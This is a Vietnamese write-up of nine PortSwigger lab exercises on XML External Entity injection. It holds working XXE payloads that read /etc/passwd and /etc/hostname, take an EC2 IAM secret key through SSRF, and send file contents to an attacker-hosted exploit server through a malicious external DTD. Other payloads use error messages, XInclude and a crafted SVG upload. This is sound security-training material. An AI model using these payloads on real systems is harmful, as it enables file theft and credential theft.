---
# System prepended metadata

title: "Portswigger XML External Entity (XXE) Injection \U0001F975"
tags: [xxe, portswigger]

---

# Portswigger XML External Entity (XXE) Injection 🥵

<style>body {text-align: justify}</style>

Hi, dưới đây là writeup của 9/9 bài lab về lỗ hổng [XXE Injection](https://portswigger.net/web-security/xxe) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.

### 1. Exploiting XXE using external entities to retrieve files

##### Description

> This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
> 
> To solve the lab, inject an XML external entity to retrieve the contents of the `/etc/passwd` file.

##### Writeup

Ứng dụng web có chức năng kiểm tra hàng trong kho `Check stock` tại mỗi post của sản phẩm.

![](https://i.imgur.com/H3jVQgE.png)

Khi click `Check stock`, một POST request gửi đến `/product/stock` với body là một dạng XML gồm 2 trường query chính là `productId` và `storeId`. Server sẽ trả về số lượng sản phẩm còn lại trong kho.

![](https://i.imgur.com/kdcYsqJ.png)

Tuy nhiên, có thể tại đây server không có cơ chế validate XML này. Do đó, mình có thể định nghĩa một external entity `&xxe;` mà giá trị của nó là nội dung file `/etc/passwd` và sử dụng entity `&xxe;` tại trường `productId`. 

```xml
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

Kết quả server trả về `Invalid product ID` và kèm theo nội dung file `/etc/passwd` như hình dưới.

![](https://i.imgur.com/ENn4mPd.png)

Ta đã lấy được nội dung file `/etc/passwd` và solve được challenge.

![](https://i.imgur.com/qdsWrRc.png)

### 2. Exploiting XXE to perform SSRF attacks

##### Description

> This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
> 
> The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
> 
> To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

##### Writeup

Tương tự bài trên, ta sẽ SSRF bằng cách định nghĩa một external entity `&xxe;` mà giá trị của nó là nội dung server có địa chỉ http://169.254.169.254/ trả về khi GET đến và sử dụng entity `&xxe;` tại trường `productId`. 

```xml
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
```

Kết quả server trả về `Invalid product ID` và kèm theo nội dung trả về `latest` như hình dưới. Đây chính là đường dẫn chứa EC2 metadata. 

![](https://i.imgur.com/B9uhlQh.png)

Sử dụng đường dẫn trên, ta tiếp tục lấy được địa chỉ tiếp theo.

```xml
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/"> ]>
```

Lúc này ta lấy được đường dẫn `meta-data`.

![](https://i.imgur.com/7ePha0F.png)

Cứ tiếp tục quá trình trên, ta sẽ thấy được đường dẫn cuối cùng chứa `SecretAccessKey` nhưu hình dưới.

![](https://i.imgur.com/qyAD9tm.png)

Submit key trên và ta solve được challenge.

![](https://i.imgur.com/VcZBC9N.png)


### 3. Blind XXE with out-of-band interaction

##### Description

> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
> 
> To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

##### Writeup

Đây là một dạng bài Blind XXE, server không trả nội dung như attacker mong muốn. Do đó, ta sẽ sử dụng kĩ thuật Out-of-band bằng payload sau:

```xml
<!DOCTYPE exp [ <!ENTITY xxe SYSTEM "http://<COLLABORATOR_DOMAIN>"> ]>
```

Trong đó: `<COLLABORATOR_DOMAIN>` là domain collaborator của mình.

Sử dụng entity `&xxe;` trên tại trường `productId`, ta thấy đã có DNS query cũng như HTTP request đến collaborator của mình.

![](https://i.imgur.com/f954lqS.png)

Như vậy ta đã tương tác out-of-band thành công và solve được challenge.

![](https://i.imgur.com/2c1dlXu.png)


### 4. Blind XXE with out-of-band interaction via XML parameter entities

##### Description

> This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
> 
> To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

##### Writeup

Bài này nâng cấp từ bài trên khi server trang bị thêm cơ chế block các requests có chứa các external entities thông thường.

![](https://i.imgur.com/KvgKqgF.png)

Để bypass, ta sẽ sử dụng XML parameter entity. Đây là một dạng entity đặc biệt của XML sử dụng kí tự `%` thay `&`. Đồng thời những parameter entity chỉ được sử dụng trong DTD nó được định nghĩa. Ta sẽ sử dụng payload sau:

```xml
<!DOCTYPE exp [ <!ENTITY % xxe SYSTEM "http://<COLLABORATOR_DOMAIN>"> %xxe; ]>
```

![](https://i.imgur.com/pfHko0f.png)

Kết quả xuất hiện DNS và HTTP request gửi đến collaborator của mình. Như vậy ta đã bypass được server bằng parameter entity và solve được challenge.

![](https://i.imgur.com/NG3OreU.png)

### 5. Exploiting blind XXE to exfiltrate data using a malicious external DTD

##### Description

> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, exfiltrate the contents of the `/etc/hostname` file.

##### Writeup

Mục tiêu bài lab này là trích xuất được thông tin của server thông qua Blind XXE. Cách triển khai gồm các bước như sau:

- Attacker host 1 file DTD tại đường dẫn `http://<EXPLOIT-SERVER>/exploit.dtd` có nội dung sau:
```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exp "<!ENTITY &#x25; attack SYSTEM 'https://exploit-0a9f00830375ccdec1478f2d01200004.exploit-server.net/flag?name=%file;'>">
%exp;
%attack;
```

Trong đó, 

-`%file;` chứa nội dung cần lấy, ở đây là file `/etc/hostname`.
-`%exp;` định nghĩa 1 paramter entity `%attack;` có chức năng query đến domain attacker đang host kèm theo nội dung của `%file;` thông qua tham số `name`.

Khi đó, nếu server truy cập đường dẫn chứa file DTD này, attacker sẽ lấy được nội dung cần lấy.

![](https://i.imgur.com/LRhIO4o.png)

- Để làm được điều đó, ta sử dụng payload sau tại chức năng `Check stock` như các bài trên:

```xml
<!DOCTYPE exp [ <!ENTITY % xxe SYSTEM "http://<EXPLOIT-SERVER>/exploit.dtd"> %xxe; ]>
```

![](https://i.imgur.com/YnZoYDY.png)

Lúc này, kiểm tra log của exploit server có thấy request chứa nội dung file `/etc/hostname` tại tham số `name`.

![](https://i.imgur.com/VfkPAOz.png)

Submit hostname đó và ta đã solve được challenge.

![](https://i.imgur.com/keleioS.png)

### 6. Exploiting blind XXE to retrieve data via error messages

##### Description

> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, use an external DTD to trigger an error message that displays the contents of the `/etc/passwd` file.
> 
> The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.

##### Writeup

Tương tự các bước bài trên, ta sẽ host 1 file DTD tại đường dẫn `http://<EXPLOIT-SERVER>/exploit.dtd`. Mục tiêu bài này sẽ lấy được nội dung file `/etc/passwd` thông qua lỗi trả về. Do đó, `%error;` sẽ chứa nội dung một file không tồn tại, cụ thể là nội dung file `/etc/passwd` thông qua `%file;`. Khi đó, nếu server truy cập đường dẫn chứa file DTD này, server sẽ không có file `/<nội dung /etc/passwd>` và trả lỗi chứa nội dung `/etc/passwd`.

![](https://i.imgur.com/3Feq3yL.png)

Tạo một parameter external entity và sử dụng nó tại body `Check stock` request khiến server truy cập đến đường dẫn `http://<EXPLOIT-SERVER>/exploit.dtd`. Kết quả server trả lỗi kèm theo nội dung file `/etc/passwd`.

![](https://i.imgur.com/PM9zHwm.png)

Như vậy, ta đã solve được challenge.

![](https://i.imgur.com/zfmzMdQ.png)


### 7. Exploiting XInclude to retrieve files

##### Description

> This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.
> 
> Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.
> 
> To solve the lab, inject an XInclude statement to retrieve the contents of the `/etc/passwd` file.

##### Writeup

Ở bài lab này, body của POST request `Check stock` không phải một XML nữa mà chỉ chứa các tham số: `productId` và `storeId`.

![](https://i.imgur.com/0WgQDcl.png)

Như vậy, ta không thể thực hiện cách tấn công thông thường như trên nữa vì không thể control toàn bộ XML được xử lí. Do đó, ta sẽ sử dụng XInclude vào bất kì trường nào để include payload vào. 

Để tấn công thành công, ta cần reference XInclude namespace và đường dẫn file cần đọc, ở đây là `/etc/passwd`.
```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Chèn payload trên vào trường `productId`, ta thấy kết quả trả về nội dung file `/etc/passwd` thành công.

![](https://i.imgur.com/bHuetTT.png)

Như vậy ta đã solve được challenge.

![](https://i.imgur.com/kV13IuB.png)

### 8. Exploiting XXE via image file upload

##### Description

> This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
> 
> To solve the lab, upload an image that displays the contents of the `/etc/hostname` file after processing. Then use the "Submit solution" button to submit the value of the server hostname.

##### Writeup

Bài lab có chức năng comment tại các bài post, trong đó cho phép user upload ảnh avatar. Avatar này phải là `PNG` hoặc `JPG`.

![](https://i.imgur.com/c1urfG1.png)

Ta upload thử file bất kì, bắt request.

![](https://i.imgur.com/a60tusa.png)

Vì một số thư viện xử lí ảnh `PNG`, `JPG`, ... có hỗ trợ xử lí file `SVG` nên ta có thể upload một file `.svg` có chứa XML payload trong đó.

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="160px" height="160px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

File SVG trên sẽ generate ra 1 ảnh có kích thước 160x160 có chứa đoạn text chính là nội dung file `/etc/hostname` cần lấy. Bên cạnh đó, cần sửa Content-Type thành `image/svg+xml`.

![](https://i.imgur.com/6emZ9O9.png)

Thực hiên upload file trên và xem ảnh sau khi được xử lí.

![](https://i.imgur.com/aYeuP4W.png)

Có thể thấy server đã bị dính XXE Injection và ta đã lấy được chuỗi hostname là `ea767afea112`.

![](https://i.imgur.com/BgMFJJa.png)

Submit kết quả và ta solve được challenge.

![](https://i.imgur.com/8Cyl4iB.png)

### 9. Exploiting XXE to retrieve data by repurposing a local DTD

##### Description

> This lab has a "Check stock" feature that parses XML input but does not display the result.
> 
> To solve the lab, trigger an error message containing the contents of the `/etc/passwd` file.
> 
> You'll need to reference an existing DTD file on the server and redefine an entity from it.

> **Hint**: Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`.

##### Writeup

Ứng dụng web dính lỗi Blind XXE injection tại chức năng `Check stock`.

![](https://i.imgur.com/YTwORQ3.png)

Ở dạng bài này, mục tiêu là ta sẽ import một local DTD có sẵn của hệ thống và định nghĩa là một entity có chứa trong DTD đó. Ở đây, Hint chỉ ra rằng hệ thống có 1 DTD tại `/usr/share/yelp/dtd/docbookx.dtd` có chứa 1 entity tên `ISOamso`. Tạo payload sau:

```xml
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

Trong đó, 

- `%local_dtd;` sẽ import file `/usr/share/yelp/dtd/docbookx.dtd` 
- `%ISOamso` được định nghĩa lại nhằm lấy được nội dung file `/etc/passwd` thông qua `%file;` nhờ lỗi trả về khi external entity `%error;` tham chiếu đến `file://%file;` không tồn tại trong hệ thống.

Lúc này, khi injection payload trên và gửi request đi, server trả về lỗi **FileNotFound** và có chứa nội dung file `/etc/passwd` cần lấy.

![](https://i.imgur.com/UzxKjWh.png)

Như vậy, ta đã solve thành công challenge.

###### tags: `portswigger`, `xxe`